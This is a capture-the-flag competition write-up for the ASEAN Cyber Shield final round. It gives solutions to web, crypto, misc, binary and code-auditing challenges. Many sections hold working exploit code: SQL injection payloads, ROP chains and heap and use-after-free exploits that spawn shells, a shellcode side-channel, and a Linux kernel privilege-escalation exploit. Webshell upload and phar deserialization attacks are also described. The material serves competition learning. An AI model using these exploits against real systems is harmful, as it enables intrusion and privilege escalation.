# ASEAN Cyber Shield Hacking Contest FinalRound - Writeup
## Web
### Zerggling
Base on the current version of gnuboard , we can figure out the sqli bug due to loose comparison

So the final payload is

### Easy? Web CMS shell
Base on the version of XpressEngine => [CVE-2021-26642](https://nvd.nist.gov/vuln/detail/CVE-2021-26642)

Upload webshell

Then access to it through the `path` and `filename` information in the response

### Baby TodoList
Sqli in the global.php file

Script for "encrypt" payload
```python
import base64
def encrypt(string):
encoded = '6' + base64.b64encode(string.encode()).decode()
result = base64.b64encode(encoded.encode()).decode()
return result
payload = "' union select 1,2,0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f666c6167,3 -- -"
print(encrypt(payload))
```
Flag

### CMS v4.5.3
This challenge is about rce

The final piece to compele the attack is `eyoom\core\member\push_info.php`
We can write arbitrary php code

First is enrolling the memebership, and then trigger the set_user_theme() to create the `member/push/push.guest.php` file

Inject php code and read the flag

## Crypto
### fiboCryptv2
Matrix exponentiation for fast calculating fibonacci number ( just slightly modify coefficients )
```python
from sage.all import matrix, ZZ
from challenge import *
def gen_key(k):
k -= 1
G = matrix(ZZ, [
[0xCA11, 0xCAFE],
[1, 0]
])
h = sha512(str((G**k).list()[0]).encode()).digest()
return h
ct = bytes.fromhex(open("output.txt", "r").read().strip())
key = gen_key(k)
pt = decrypt(ct, key)
print(pt)
```
### ecrsa
Pollard p-1 algorithm to recover `p, d`. Then recover `a, b` and submit `P` to server
factor.py:
```python
from tqdm.auto import tqdm
from gmpy2 import mpz, next_prime, log, floor, powmod, gcd
n = 5010908182051933945309023640427569779937102661040535651559399453772924747454773140231979076043545176724572202452399324948115651892814794306841540697981
e = 65537
cap = mpz(2 ** 16)
def pollard_rho_step(g, q):
r = mpz(floor(log(cap) / log(q)))
z = q ** r
return powmod(g, z, n)
leak = []
while True:
g = mpz(2)
cur = mpz(2)
for i in leak:
g = pollard_rho_step(g, i)
pbar = tqdm(total=int(cap))
pbar.update(int(cur))
while cur < cap:
g = pollard_rho_step(g, cur)
check = gcd(g - 1, n)
if check != 1:
break
nx = next_prime(cur)
delta = nx - cur
pbar.update(int(delta))
cur = nx
if g == 1:
print("leak common prime factor", cur)
leak.append(cur)
else:
break
p = int(gcd(g-1, n))
q = int(n // p)
assert (p * q == n)
print(f"{p = }")
print(f"{q = }")
```
solve.py:
```python
p = 4004404860236724424410505016123691119964262044503226116834279781396393620987
q = 1251349041104627233874871827135582647831550070597361758176235202381756063463
data = [27082726157609413704577478015016530855603230966972295210884984872942138450, 2061398328442668155355127601016899592254604687269161726755573633605474707412, 2434496646596008584621955130240777128275362597076933621029594765848833680797, 3738325473285413287098586048799901287126442064296195023518267737163691113313, 2602490126211818399898774115357837457760197083350269085224214365736989620622, 1872248385137329765882659029974077993369999371387368082453644341414502029400, 3994894309447901069964798717084710513506472754199306551753724240026779963400, 185504786042728657826373241091581482293158992953710817494835153549253621395, 1214556303532050516674264038273850297772770202569663639349877979888977426300, 772271029007904955607914197298406348901062431978057527305100995537326511536, 360562995231834591037322363783958915414965118629573267669203878428953766995, 2013532662663210559231214400734054635759272131851295786315114880644831430687]
e = 65537
d = pow(e, -1, (p-1)*(q-1))
Points = []
for i in range(0, len(data), 2):
Points.append((data[i+0], data[i+1]))
# We have 2 equaltions and 2 unknown vars, so easily recover a, b
def attack(p, x1, y1, x2, y2):
a = pow(x1 - x2, -1, p) * (pow(y1, 2, p) - pow(y2, 2, p) - (pow(x1, 3, p) - pow(x2, 3, p))) % p
b = (pow(y1, 2, p) - pow(x1, 3, p) - a * x1) % p
return int(a), int(b)
a, b = attack(p, *Points[0], *Points[1])
from ecrsa import EC, Point
E = EC(p, a, b)
G = E(*Points[0])
P = d * G
print(P)
# Send P to server to get `ct`
ct = int("b4912ba504140be5f762b0445b45c349f54724f5c9e23a781b74e835afd1cd8ce465d0ca19fb9bfb89acffce586f5ccf44a8902b183649f6038b1fb1d8214", 16)
print(int.to_bytes(pow(ct, d, p*q), 64, 'big').strip(b"\x00"))
```
### bbRSA
I just copy the password in access.log and login on the web server :hear_no_evil:
```python!
[16/Oct/2023 13:28:09]:INFO:LOG_TEST:127.0.0.1 - - {'id': 'admin', 'pw': '5eed7bbb4233e9bb8df8252a1c5ef9b93757d7f5455ac374a018b834ef2886b675aaff23768f9b5d35b0c84a2168ba87bf2b43a10890fe50749a3279042a93b301662876ec8d2c979b6d006f8992ec9b417378b0178a3b45e5c53caf6a23d5661d0042808e05c258fe825ec4a3f8cae84e422c13b72d009a716bf761916a775cbdfb9fc543a6ab99021d2a19ae1b16c86a2015cf8fcc2a296f5cad02abdb82c33a44e95e2db7a59c07b89b9974cf5aab8e8f318111c8308cafc4ef5c8961baa1d4884db3a2f4d856fbba9239b721abc7b230618caf6bb8ce5520f664af2f7dfe1321bc37952c5b3a7efaaa8e01e575d00493149dd550343655f058aadcd8c7ea'}
```
## Misc
### The Terminator
This is the programming language ArnoldC. It have an online Interpreter [here](https://tio.run/)
I simplplely add the syntax `TALK TO THE HAND` + `var` at the end of script to print the value of each flag's character
[Solution](https://tio.run/##1ZjBjtowEIbvfYq57ZWZBAjHlHiJBYlRYlhxRFuWHlZbiUqt1JenYQlsq2aQZ5tE3gsRmvHE@b/xjO3t4eXb85fH41HbuxLK1DxYnalPAKnawDQtdGmzuARbKAVPz9v9ACsbwMasoFQWViWsljC44U9C/0DoHwr9h0L/kdB/LPSPhP4TmT8OhP5Cvijki0K@KOSLQr4o5ItCvijki0K@JORLQr4k5EtCviTkS0K@JORLQr4k5EtCvoGQbyDg@/3x68/t4dfuZbff7w4N48LTx82qv9aATVU13iyXqvizMFZxCwW6hGwDOl9rG1tt8n9Dq9ysZinYeDG/EXPSbsyGD3SNDeeAlQivFcVp@nUutCoJ3ZTk@lanWHUu@SUvOScHtq9uXc0/qiLUQb4FHcT8n1LRULd@bA9MkWuYwMXZGcM8N9N5/XtOuX6wnyfqBn7YLqTbGl077l1lvdeFSiDwVJfAw@Xs3D6Q@qR67isaFtXAVGcwMxB5SjXykOrIefbjDtpWF61w5KHKoXOLCTtoW8MOYvq44UDn2fdaobDeT1cD0jg5jS2XC22hzlTv6hShp2zfQRo72Abi5CPnPnZRYQZ9rqcz0qnJS51UzjaNLcSQ6LUppqpOFMkRpO/1hZH368v56IbeHcUT85DDtTv9XXHrst9wBHgbGjrviHDo5bdfytMFZeC8w@ugMgTY2uXB6XF5RRrnydtlSrOFWEvAWkLWMmQtI9YyZi0Ra5lwlteV1mxhNUBWA2Q1QFYDZDVAVgNkNUBWA2Q1IFYDYjUgVgNiNSBWA2I1IFYDYjUgVgNiNQhYDaq1drpJSuO1gs9K5WBVkek8tio5Hn8D)
### Music 7
We were given a music sheet, and to get the flag we need to decode it in some way. After getting the title hint, I immidiately convert and music notes to number: `Do = 0, ..., Si = 7`, and converting from base 7 to decimal: `ACS{Music_DEc1mal__SEvEn}`. But the flag was still incorrect.
Then I noticed about coda sign and looked up about it for a while. Turns out the order of notes being played won't be the same if there's coda sign so I tried to find the correct flow and gets the correct flag: `ACS{Music_DEc1mal_Music_SEvEn}`
## Binary
### BabyREV
Bruteforce each 4 bytes until recovering the whole flag
Script: [solve.c](https://file.io/W4tAxm04Yope)
`ASC{V2l0aCBncmVhdCBwb3dlciBjb21lcyBncmVhdCByZXNwb25zaWJpbGl0eS4gLSBTcGlkZXItbWFuIGZpbG1zCg==}`
### vCPU
Write a Disassembler to disassemble bytecode:
```python
from pwn import *
leak = open('./vm', 'rb').read()
pc = 0
while pc < len(leak):
print(hex(pc)[2:].rjust(4, '0'), end = ': ')
if leak[pc] == 0:
ins = f'exit'
pc += 1
elif leak[pc] == 1:
arg0 = leak[pc + 1]
ins = f'alloc buffer size {hex(arg0)}'
pc += 2
elif leak[pc] == 3:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
arg2 = leak[pc + 3]
new_id = (arg1 | (arg0 << 8))
ins = f'vm[{hex(new_id)}] = mem[{hex(arg2)}]'
pc += 4
elif leak[pc] == 5:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
arg2 = leak[pc + 3]
new_id = (arg1 | (arg0 << 8))
ins = f'mem[{hex(arg2)}] = vm[{hex(new_id)}]'
pc += 4
elif leak[pc] == 6:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
ins = f'cmp mem[{hex(arg0)}], mem[{hex(arg1)}]'
pc += 3
elif leak[pc] == 7:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
new_id = (arg1 | (arg0 << 8))
ins = f'jnz {hex(new_id)}'
pc += 3
elif leak[pc] == 8:
ins = f'exit Incorrect'
pc += 1
elif leak[pc] == 9:
ins = f'exit Correct'
pc += 1
elif leak[pc] == 0xb:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
ins = f'mem[{hex(arg0)}] = mem[{hex(arg1)}]'
pc += 3
elif leak[pc] == 0xc or leak[pc] == 0xa:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
ins = f'mem[{hex(arg0)}] = {hex(arg1)}'
pc += 3
elif leak[pc] == 0x13:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
pc += 3
ins = f'mem[{hex(arg0)}] &= mem[{hex(arg1)}]'
elif leak[pc] == 0x15:
arg0 = leak[pc + 1]
pc += 2
ins = f'mem[{hex(arg0)}] ~= mem[{hex(arg0)}]'
elif leak[pc] == 0x17:
arg0 = leak[pc + 1]
pc += 2
ins = f'mem[{hex(arg0)}] -= 1'
elif leak[pc] == 0x1a:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
pc += 3
ins = f'mem[{hex(arg0)}] |= mem[{hex(arg1)}]'
elif leak[pc] == 0x1b:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
pc += 3
ins = f'mem[{hex(arg0)}] = rol1(mem[{hex(arg0)}], {hex(arg1)})'
elif leak[pc] == 0x1d:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
pc += 3
ins = f'mem[{hex(arg0)}] = ~(mem[{hex(arg0)}] & mem[{hex(arg1)}])'
elif leak[pc] == 0x1f:
pc += 1
ins = f'clear mem'
elif leak[pc] == 0x20:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
pc += 3
ins = f'read mem[{hex(arg0)}] -> buf[{hex(arg1)}]'
elif leak[pc] == 0x21:
arg0 = leak[pc + 1]
arg1 = leak[pc + 2]
pc += 3
ins = f'mem[{hex(arg0)}] = buf[{hex(arg1)}]'
else:
print(f'[-] Unknown Opcode {hex(leak[pc])}')
break
print(ins)
```
The encryption is just a simple xor with rol.
```python
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
max_bits = 8
key = bytes.fromhex('deadbeef')
enc = bytes.fromhex('a77b3be4e6b7be6b2d7c7eb72ab838f56df93826a47c79b7e27cb528ba36f2662f36b5e7eb3ba764')
for i in range(len(enc)):
x = ror(enc[i], 6, max_bits) + 1
print(chr(x ^ key[i % len(key)]), end = '')
```
### shellcoding_test
Using side-channel attack to leak flag:
```python
from pwn import *
context.binary = './shellcoding_test_org'
# r = remote('192.168.0.52', 10202)
context.log_level = 'critical'
ans = ''
for idx in range(0x1000):
for i in range(256):
r = remote('192.168.0.109', 10202)
sc = asm(f'''
add rsp, 8
mov rax, [rsp]
mov cl, [rax+{hex(idx)}]
cmp cl, {hex(i)}
jz hehe
syscall:
mov rax, 1
syscall
hehe:
jmp hehe
'''
)
# raw_input('abc')
try:
r.sendline(sc)
r.recv(timeout=1)
print(f'[+] Found: {chr(i)}')
ans += chr(i)
r.close()
break
except Exception as e:
pass
r.close()
print(ans)
```
### unicorn_horn
Capture packet and relay attack:
```python
from pwn import *
# elf = ELF('./python3.10')
# p = process(['./python3.10', 'main.py'])
# p = process('./strip_vm')
p = remote('192.168.0.52', 10477)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b': ', b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA../../../../flag')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', b'///////////////////////////////////////////')
p.interactive()
```
### basic_module
Spray seq_operation struct in kmalloc-32 to leak kernel base. Then write shellcode.
```c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void get_shell(){
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)get_shell;
unsigned long kernel_base, pkc, cmc;
void escalate_privs() {
__asm__(
".intel_syntax noprefix;"
"movabs rax, pkc;"
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, cmc;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_state();
int victim[0x50] = {};
for(int i = 0; i < 0x50; i++) {
victim[i] = open("/proc/self/stat", O_RDONLY);
}
for(int i = 0; i < 0x50; i++) {
close(victim[i]);
}
int fd = open("/dev/basic_module", O_RDWR);
char buf[0x1000] = {};
ioctl(fd, 4001, &buf);
ioctl(fd, 4002, &buf);
kernel_base = *(unsigned long *)&buf[0] - 0x165a50;
printf("kernel base: 0x%lx\n", kernel_base);
pkc = kernel_base + 0x703a0;
cmc = kernel_base + 0x704f0;
*(unsigned long *)&buf[0] = (unsigned long)escalate_privs;
ioctl(fd, 4003, &buf);
}
```
### lucky_draw
Bof in `add` and `memo` function. Use bof in `add` to overwrite canary in TLS, then return to `memo` function to trigger the second bof.
```python
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./lucky_draw')
p = remote('192.168.0.8', 10206)
p.sendlineafter(b'> ', b'1')
# gdb.attach(p, 'b*add+84')
p.sendlineafter(b': ', b'1')
pop_rdi = 0x401376
payload = b'a'*0x38
payload += p64(pop_rdi)
payload += p64(elf.got.puts)
payload += p64(elf.sym.puts)
payload += p64(elf.sym.memo)
payload += p64(0x404000 + 0x200)*0xfd
payload += b'a'*0x10
p.sendlineafter(b': ', payload)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libc.address))
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
payload = b'a'*0x28
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(pop_rdi + 1)
payload += p64(system)
p.sendline(payload)
p.interactive()
```
### MZ Protocol
Inside the `check_protocol` function, it checks `size <= 1337`, but the object size is only `0x20` => Heap bof. Leak binary base and libc address through `print_protocol`. Only need to make sure the checksum is 0x77 (I have to brute force the checksum when leaking libc address due to this). After having all address needed, overwrite the `print_protocol` to `system`.
```python
from pwn import *
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
elf = ELF('./mz_protocol')
# p = process('./mz_protocol')
while(1):
elf.address = 0
libc.address = 0
# p = process('./mz_protocol')
p = remote('192.168.0.52', 10001)
# p = remote('localhost', 10001)
# gdb.attach(p, 'b*check_protocol+169\nb*main+207')
payload2 = b'\x46' + b'\x00'*0xf + b'\x31'
payload = b'MZ'
payload += p16(len(payload2), endian='big')
p.recv()
p.send(payload)
p.recv()
p.send(payload2)
p.recv()
p.sendline(b'0')
for i in range(14):
p.recvline()
heap_leak = int(p.recvline().split(b'|')[3], 16)
print(hex(heap_leak))
elf.address = int(p.recvline().split(b'|')[3], 16) - elf.sym['print_protocol']
print(hex(elf.address))
payload2 = b'\x00'*0x28
payload2 += p64(0x31)
payload2 += p16(0)
payload2 += p16(8)
payload2 += p32(0)
payload2 += p64(elf.got['puts'])
payload = b'MZ'
payload += p16(len(payload2), endian='big')
p.recvrepeat(0.2)
p.send(payload)
p.recvrepeat(0.2)
p.send(payload2)
flag = 0
try:
print(p.recv())
flag = 1
break
except KeyboardInterrupt:
exit(1)
except:
p.close()
if(flag):
break
p.sendline(b'1')
for i in range(7):
p.recvline()
libc.address = int(p.recvline().split(b'|')[3], 16) - libc.sym['puts']
print(hex(libc.address))
payload2 = b'/bin/sh\x00\x05'
payload2 += b'\x00'*0x1f
payload2 += p64(0x31)
payload2 += b'sh;\x00'
payload2 += p32(0)
payload2 += p64(heap_leak - 0x3a)
payload2 += p64(libc.sym['system'])
payload = b'MZ'
payload += p16(len(payload2), endian='big')
p.recvrepeat(1)
p.send(payload)
# gdb.attach(p, 'b*check_protocol+169\nb*main+207')
p.recvrepeat(1)
p.sendline(payload2)
p.sendline(b'2')
p.interactive()
```
## Auditing
### One Page
(_The host value in http request may be difference because i do it on my own environment, but the payload is the same_)
This challenge is phar deserialization bug, `__destruct__` method of `Utils\Template` class can be used to get the content of flag
Register -> Login and then create a simple page, after that edit the js file

Set the `src` attribute the the phar file

Flag

### Note
UAF in `_erase` function. Heap feng shui to overwrite 1 note's emoji function to `shell` function.
```python
from pwn import *
# p = process('./note')
p = remote('192.168.0.52', 40000)
def add(idx, note):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(idx).encode())
p.sendlineafter(b': ', note)
p.sendlineafter(b'> ', b'1')
def read(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b': ', str(idx).encode())
def free(idx):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b': ', str(idx).encode())
p.recvuntil(b': ')
shell = int(p.recvline(), 16)
print(hex(shell))
add(1, b'a'*0xf)
add(2, b'a'*0x30)
free(1)
free(2)
add(3, b'a'*8 + p64(shell))
# gdb.attach(p, 'b*main+179')
read(1)
p.interactive()
```